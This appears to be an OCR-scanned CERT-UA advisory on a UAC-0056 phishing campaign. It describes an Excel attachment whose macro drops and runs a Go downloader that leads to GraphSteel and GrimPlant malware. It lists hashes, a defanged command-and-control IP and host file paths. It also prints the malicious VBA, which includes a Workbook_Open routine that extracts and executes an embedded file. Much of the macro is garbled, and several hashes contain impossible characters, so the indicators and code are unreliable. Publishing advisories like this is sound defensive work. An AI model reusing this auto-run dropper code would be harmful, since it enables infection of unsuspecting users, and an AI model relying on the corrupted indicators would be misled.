CERT-UA

g cert.gov.ua/article/38374

general information

The Governmental Computer Emergency Response Team of Ukraine CERT-UA received
information on the distribution of e-mails on the topic "Wage arrears" among government
agencies of Ukraine. Attached to the letter is the document "Wage arrears.xls", which
contains legitimate statistics and macros. At the same time, hex-coded data has been added
to the mentioned document as an attachment. The macro, after activation, will decode the
data, create the EXE-file "Base-Update.exe" on the computer and execute it.

This file is a downloader developed using the GoLang programming language. The program
will download and run another bootloader, which, in turn, will download and run malware
GraphSteel and GrimPlant on your computer.

The detected activity is associated with the activity of the group UAC-0056.

Indicators of compromise

Files:

da305627acf63792ach02afaf83do4dl
clafb561cd5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff Wage arrears.xls
06124da5b4d6ef31dbfd7a6094fc52a6
9e9fa8b3b0a59762b429853a36674608df1fa7d7f7140c8fccd7c1946070995a Base-Update.exe
(GoDownloader)

36ff9ec87c458d6d76b2afbd5120dfae
8ffe7f2eeb0cbfbel58b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2bal java-sdk.exe
(GoDownloader)

4a5de4784a6005aa8a19fb0889f1947a
99a2b79a4231806d4979aa017ff7e8b804d32bfe9dcc0958d403dfe®6bdd0532 oracle-java.exe
(GrimPlant)

6b413beb61e46241481f556bb5cdb69c
€c83d8b36402639ea3flad5d48edcla22005923aeelcl1826afabe27cb3989baal3 microsoft-
cortana.exe (GraphSteel) (2022-03-20)

Network:

hxxp: // 194 [.] 31.98.124: 443 / i
hxxp: // 194 [.] 31.98.124: 443 / p
hxxp: // 194 [.] 31.98.124: 443 / m
ws: // 194 [.] 31.98.124: 443 / c
194 [.] 31.98.124
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Hosts:

% TMP% \ Base-Update.exe

% USERPROFILE% \. Java-sdk \ java-sdk.exe

% USERPROFILE% \. Java-sdk \ oracle-java.exe

% USERPROFILE% \. Java-sdk \ microsoft-cortana.exe
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Sub 0BHOBrEHNEBASS ()

Dim FileManager As New AttachedFiles, File™As AttachedFile, res As Boolean

filename$ = ThisWorkbook.Sheets(3).Range ): If filename$ = "" Then Exit Sub

If Not FileManager.AttachmentExist(filename$)/ Then
MsgBox "O6HoBneHuWe 6a3bl He BLIMOSHEHHO, paTuTeTecb K agMuHucTpaTtopy", vbCritical
Exit Sub

End If

FileManager.GetAttachment (filename$) .Run

End Sub

[rmctioe Seveisiopeionel Byiel Ficpetis) = Boviean

* ECIW NYTh A9 COXDaNEHAR He 3aliak - BUSOLMICS [WGTOTOS0E OKHO COXpaWewHs daiina

On Error Resune Next: Err.Clear
! 3 ve sanan - susotm fanorosge oo 8u6opa aina
Filenane

Title = bubepute tanuy 1 e i COmpureior daina < &
Initioleiletione - te Parent B path & 1 G 13

DialogResult = Application. msgmsmgnmumm\mgnm, Nodse gaiine (+.%),", , Title, “Coxpannre’)
1 VarTvD!(DxalngREsu\t) VbBoolean Then Exit Functior

q {iteatns = DialogResu

If FileRange Is Nothing Then Exit Function

Status texts = ‘Uspnesenne doine o & filename & “» 43kt < & Parent.WB.Name § '
THNot Silentiode Then Application.Statusbar < status texts

txts = Range2Text (GetDataRange Value)
If Len(txt] = 0 Then Exit Function

status t 08ka ¢ 3anicu dains < & filename & > u3 ki < & Parent.WB.Name & '
ot Silentiode Then Apptication.statussar = Status Texts
buffers = **: buffer2s = *: Const BufferLent = 5000 t = Tiner
For'S'2 T ro'Lent )
letters = Vel ("0 & Wid(txt, 2+ i - 1, 2))
buffers = buffers & (nr(\ener&)
I Lenfoutters) >
Butferss < bufrerss € barfers: butfers = s Dotvents
| v I Len(buterzs) - Buffertent - 10 Then
- bufteras: butferas
rmat (Leniress) /(Lan(txt) / 2) + 100, o+
b m SA}entTnde Then foptication.Statustar = status thts 6 copaorano 6 Percent & (&
e o :ummn / z», & aE ) & K6) &
- & Fornat(T cexymn
DoEvents
End If
End I
t

ress = ress & buffer2s & buffers
If Not SilentMode Then Debug.Print '5ufferlen

& Bufferlent & *, Done in * & Format(Timer - €, "0.0°) & * ceryin’

3 Mot Sitenttode Then Asplication.Statussar =

s = FrecFile

Open f}\epn(hs For Binary Access Write As #ff
Lo ress

anuce nawix 5 ain * & filepaths

Clos
If Not SilentMode Then Application.StatusBar = False
Savehs - Err - 0
End Function

Private Sub Workbook Open()
Call OGHoBnerwebass!
u

End Sub

+“Class Module : AttachedFiles

' AsTop : EducatedFool  (Mirops) flaa: 19.08.2012
' Pa3spaboTka MaKpucoB nioboi cnoxHocT ana Microsoft Excel

* http://ExcelVBA. ru/ 1CQ: 5836318 Skype: ExcelVBA.ru

' PeKBM3MTE ANA ONNaTsl paboTs: http://ExcelVBA.ru/payments

Public WB As Workbook ' KHAra, K KOTOPOii NPUKpENNeHs Gainsi. Mo-yMonuaHmo - TeKywas KHAra

Public AutoSaveWorkbook As Boolean
Public SilentMode As Boolean ' He BWBONUMTb HAKaK/X COOBUEHWA, B T.. B CTPOKY COCTOSHUA
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